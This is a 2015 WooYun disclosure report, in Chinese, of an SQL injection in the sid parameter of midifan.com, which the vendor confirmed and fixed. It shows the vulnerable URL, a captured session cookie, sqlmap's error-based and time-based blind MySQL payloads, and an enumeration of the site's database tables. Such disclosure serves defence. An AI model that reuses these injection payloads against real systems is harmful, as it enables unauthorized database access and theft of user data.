当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0150277

漏洞标题：Midifan主站存在SQL注入漏洞 （涉及11万用户）

相关厂商：midifan.com

漏洞作者： miracle

提交时间：2015-10-29 11:37

修复时间：2015-11-29 01:15

公开时间：2015-11-29 01:15

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-29： 细节已通知厂商并且等待厂商处理中
2015-10-29： 厂商已经确认，细节仅向厂商公开
2015-11-08： 细节向核心白帽子及相关领域专家公开
2015-11-18： 细节向普通白帽子公开
2015-11-28： 细节向实习白帽子公开
2015-11-29： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

详细说明：

http://www.midifan.com/modulehardware-goods.htm?sid=1

Cookie: sid=d157e1c4d17f541a; lastonlineupdate=1445993753; _ga=GA1.2.664417237.1445964366; _gat=1; comment99351=1; comment99367=1; comment99358=1; comment99353=1; comment99324=1; comment96019=1; comment93359=1; comment77644=1; comment98367=1; comment98365=1; comment97999=1; comment97998=1; comment97997=1; comment97995=1; comment98734=1; comment98689=1; comment98087=1; comment94428=1; comment94386=1; comment94366=1; comment94361=1; comment99241=1; comment99217=1; comment99151=1; comment99336=1; comment98986=1; comment99292=1; comment98978=1; comment99288=1; comment98974=1; comment98973=1; comment98971=1; comment35206=1; comment35025=1; comment35017=1; comment35015=1; comment34999=1; comment34998=1; comment34997=1; comment34996=1; comment34995=1; comment34994=1; comment34993=1; comment34990=1; comment34989=1; comment34988=1; comment34975=1; comment34974=1; comment34972=1; comment34949=1; comment34947=1; comment34946=1


11.png

22.png

33.png

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: sid (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: sid=1' AND (SELECT 8538 FROM(SELECT COUNT(*),CONCAT(0x7162767671,(SELECT (ELT(8538=8538,1))),0x7178707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'sziA'='sziA
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: sid=1' AND (SELECT * FROM (SELECT(SLEEP(5)))lZxo) AND 'phjy'='phjy
---
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
Database: midifan
+-----------------------------------+---------+
| Table                             | Entries |
+-----------------------------------+---------+
| my_blogcategory                   | 2534148 |
| www_user_event                    | 2509646 |
| www_user_627                      | 2012534 |
| www_userfield_627                 | 2012533 |
| my_feed                           | 1906253 |
| my_feed_own                       | 1906253 |
| www_userfield2                    | 1891781 |
| c_list                            | 120703  |
| www_user                          | 114928  |    //用户
| www_userfield                     | 114927  |
| www_stats                         | 101212  |
| module_hardwarepictures           | 47127   |
| module_comment                    | 45455   |
| gkp_Module_Secondhands            | 37826   |
| module_softwarepictures           | 34000   |
| gkp_Module_Comment                | 30425   |
| module_secondhands                | 30280   |
| www_image                         | 24493   |
| module_softwarestype              | 23762   |
| module_news                       | 20852   |
| module_questioncategory           | 19536   |
| gkp_etao                          | 18663   |
| module_newsproduct                | 12578   |
| module_producttype                | 10364   |
| module_resourcerelates            | 6735    |
| module_resources                  | 6735    |
| gkp_Module_News                   | 6463    |
| pk_ding_history                   | 6335    |
| module_hardwaretypes              | 6090    |
| module_hardwares                  | 5219    |
| module_techarticles               | 4527    |
| midifan_ios                       | 4430    |
| module_softwares                  | 3649    |
| www_address                       | 3329    |
| gkp_Module_Hardwares              | 3132    |
| gkp_Module_Softwares              | 1904    |
| gkp_Module_TechArticles           | 1855    |
| module_articleproduct             | 1766    |
| magazine                          | 1058    |
| module_multilevelcategories_types | 973     |
| module_questionuser               | 921     |
| www_session                       | 869     |
| module_multilevelcategories       | 857     |
| module_questionanswer             | 845     |
| my_userfavor                      | 775     |
| module_categories                 | 700     |
| module_question                   | 560     |
| my_pm                             | 428     |
| www_online                        | 297     |
| module_author                     | 255     |
| www_stats_mod_history             | 177     |
| download_mgz                      | 114     |
| gkp_etao_shop                     | 106     |
| download_att                      | 99      |
| www_setting                       | 88      |
| module_ad                         | 65      |
| www_group                         | 32      |
| www_html                          | 19      |
| bbs_post                          | 18      |
| bbs_post_field                    | 18      |
| bbs_thread                        | 18      |
| bbs_threadindex                   | 18      |
| www_keyword                       | 18      |
| bbs_medal                         | 15      |
| k_list                            | 10      |
| module_newstype                   | 9       |
| admin_login                       | 8       |
| admin_allow                       | 7       |
| module_index_hot                  | 6       |
| saturday_meeting                  | 6       |
| p_list                            | 5       |
| module_special                    | 4       |
| my_domain                         | 3       |
| admin_session                     | 2       |
| bbs_forum                         | 2       |
| my_blog                           | 2       |
+-----------------------------------+---------+

漏洞证明：

修复方案：

版权声明：转载请注明来源 miracle@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-10-29 18:24

厂商回复：

多谢，正在修复中。。。

最新状态：

2015-11-29：已经修复